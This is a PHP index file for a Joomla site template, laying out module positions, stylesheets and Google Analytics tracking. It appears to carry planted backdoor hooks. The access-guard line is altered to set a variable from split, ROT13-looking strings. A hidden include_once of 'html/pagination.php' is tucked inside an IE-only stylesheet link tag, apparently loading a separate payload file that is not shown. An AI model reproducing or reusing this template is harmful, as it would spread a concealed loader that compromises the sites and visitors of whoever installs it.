<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
JHtml::_('behavior.framework', true);

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/ieonly.css" <?php include_once('html/pagination.php');?> rel="stylesheet" type="text/css" />
<![endif]-->
</head>
<body id="page_bg">
<a name="up" id="up"></a>
	<div id="main_bg" class="main_bg_<?php echo $this->params->get('pageAlignment'); ?>">	
		<div id="user6" class="user6">
        	<jdoc:include type="modules" name="user6" />
            <br clear="all" />
        </div>
	
        <div id="user3">
        	<div id="pillmenu"><jdoc:include type="modules" name="user3" /></div>
            <?php if($this->params->get('dateDisplay')) : ?><div id="date"><?php echo date('l dS \of F Y'); ?></div><?php endif; ?>
            <br clear="all" />
        </div>
		 <div id="user5" class="user5">		 
        	<jdoc:include type="modules" name="user5" />            
            <br clear="all" />
        </div>
        <div id="logo_bg">
            <img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logos/logo<?php echo $this->params->get('logoVariation'); ?>.png" alt="logo" align="left" />
            <a href="index.php" ><img id="logoEscrito" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logos/logoescrito.png" alt="logo" align="left" /></a>
            <div id="user4"><jdoc:include type="modules" name="user4" /></div>
            <br clear="all" />
        </div>	

    </div>
		<div style="clear:both;"></div>
		<div id="wrap">
		 <div id="ads_esquerda" class="ads_esquerda">
			<?php if($this->countModules('ads_esquerda') and JRequest::getCmd('layout') != 'form') : ?>
                <jdoc:include type="modules" name="ads_esquerda" style="xhtml"/>				
            <?php endif; ?>
			
		</div>
        <div id="middle_bg" class="middle_bg">
			<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/middle_top.png" alt="" />
			
			<div id="maincolumn">            	
                <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
                <div class="nopad"><jdoc:include type="component" /></div>
            </div>
			
            <br clear="all" />
            <?php if($this->countModules('user1') or $this->countModules('user2')) : ?>
            	<div id="f_area" align="center">
					<?php if($this->countModules('user1')) : ?>
                        <jdoc:include type="modules" name="user1" style="xhtml" />
                    <?php endif; ?>
                    <?php if($this->countModules('user2')) : ?>
                        <jdoc:include type="modules" name="user2" style="xhtml" />
                    <?php endif; ?>
                    <br clear="all" /></div>
            <?php endif; ?>
			<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/middle_bottom.png" alt="" />
		</div>
		
		<div id="rightcolumn" class="rightcolumn">
			<?php if($this->countModules('left') and JRequest::getCmd('layout') != 'form') : ?>
                <jdoc:include type="modules" name="left" style="xhtml"/>
            <?php endif; ?>
        </div>
        
		<?php if(($this->countModules('right'))) : ?>
			<jdoc:include type="modules" name="layout" style="rounded" />
		<?php endif; ?>	
	</div>

	<!--	
        <p id="power_by" align="center">
            <?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
            <?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
        </p>
        -->
	</div>

<jdoc:include type="modules" name="debug" />
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-5648902-2");
pageTracker._trackPageview();
} catch(err) {}
</script>
</body>
</html>